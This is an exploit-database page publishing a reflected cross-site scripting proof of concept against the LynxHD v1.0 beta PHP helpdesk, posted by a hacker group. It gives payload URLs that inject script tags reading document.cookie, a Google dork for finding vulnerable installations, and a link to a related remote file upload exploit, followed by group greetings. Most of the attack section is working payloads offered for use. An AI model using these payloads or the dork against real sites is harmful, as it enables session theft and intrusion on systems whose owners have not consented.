[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

LynxHD <= v1.0 beta Xss Vulnerability

Author
Elite Trojan
Risk
[
Security Risk Medium
]
0day-ID
0day-ID-18042
Category
web applications
Date add
11-04-2012
Platform
php
##################################################
# Exploit Title: LynxHD <= v1.0 beta Xss Vulnerability
# Date: 11/04/2012
# Author: Elite Trojan
# Category:: webapps
# Download : http://sourceforge.net/projects/coldbrewhelpdes/files/LynxHD/LynxHD-1.0-RC1.zip/download
# Google dork: intext:"Powered by LynxHD"
# Tested on: linux + windows
##################################################

[~]Exploit/p0c :

http://site.com/downloads/index.php/'"()%26%251"><script>alert(document.cookie)</script>
\\
http://site.com/downloads/index.php/index.php/>"><ScRiPt>alert(Dz Mafia)</ScRiPt>
\\
Remote File upload vulnerability on the same version : 
http://www.1337day.com/exploits/18024 (by L3b-r1'z)

+--------------------------------------------------+
[»]                    #-DzMafia-#
[»] We are : password, eliteTrojan, gel-dz, BackUp
+--------------------------------------------------+
F0llow Us at : www.fb.me/Ma.dz.fia
+---------------------------------------------------+
[»] Greetz to :
[ TrOon,Aghilas,r00t_dz,Hacker-fire,Vaga-hacker,Imed Lakamora ]
[ & -> !Muslims!,Mosta,team152,Inj3ct0r ]
[ And all my Freinds + Algerian Hackers ]
-----------------------------------------------------+
DzMafia © 2012 All rights reserved.



#  0day.today [2024-07-05]  #